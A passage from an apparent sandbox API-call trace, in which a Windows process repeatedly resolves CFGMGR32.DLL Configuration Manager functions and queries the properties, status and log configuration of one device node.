pulLength=0x67117d608) returned 0x25 [0233.329] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0233.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6becea36, dwHighDateTime=0x1d9eb0c)) [0233.329] SetEvent (hEvent=0x248) returned 1 [0233.392] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.392] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.395] malloc (_Size=0x18) returned 0x196ef0d1960 [0233.395] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.401] malloc (_Size=0x48) returned 0x196ef0fba40 [0233.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bf8d765, dwHighDateTime=0x1d9eb0c)) [0233.401] SetEvent (hEvent=0x248) returned 1 [0233.405] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.409] malloc (_Size=0x18) returned 0x196ef0d20e0 [0233.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.409] malloc (_Size=0x48) returned 0x196ef0fb540 [0233.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bfb3645, dwHighDateTime=0x1d9eb0c)) [0233.409] SetEvent (hEvent=0x248) returned 1 [0233.412] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.412] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.415] malloc (_Size=0x18) returned 0x196ef0d19a0 [0233.416] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.416] malloc (_Size=0x48) returned 0x196ef0fbc20 [0233.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bfb3645, dwHighDateTime=0x1d9eb0c)) [0233.417] SetEvent (hEvent=0x248) returned 1 [0233.420] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.420] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.423] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0233.423] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.424] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0233.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bfb3645, dwHighDateTime=0x1d9eb0c)) [0233.424] SetEvent (hEvent=0x248) returned 1 [0233.430] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.430] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.433] malloc (_Size=0x18) returned 0x196ef0d1da0 [0233.434] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.488] malloc (_Size=0x48) returned 0x196ef0fbc20 [0233.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c0722ce, dwHighDateTime=0x1d9eb0c)) [0233.488] SetEvent (hEvent=0x248) returned 1 [0233.492] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.492] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.497] malloc (_Size=0x18) returned 0x196ef0d1a20 [0233.497] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0233.497] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0233.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6c0722ce, dwHighDateTime=0x1d9eb0c)) [0233.498] SetEvent (hEvent=0x248) returned 1 [0233.505] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.505] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.510] malloc (_Size=0x18) returned 0x196ef0d1b60 [0233.510] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0233.511] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0233.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6c098813, dwHighDateTime=0x1d9eb0c)) [0233.511] SetEvent (hEvent=0x248) returned 1 [0233.515] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.515] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.517] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.518] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.518] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.518] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.518] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.520] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0233.520] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0233.520] malloc (_Size=0x48) returned 0x196ef0fbb30 [0233.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c0bed80, dwHighDateTime=0x1d9eb0c)) [0233.520] SetEvent (hEvent=0x248) returned 1 [0233.526] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.526] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, 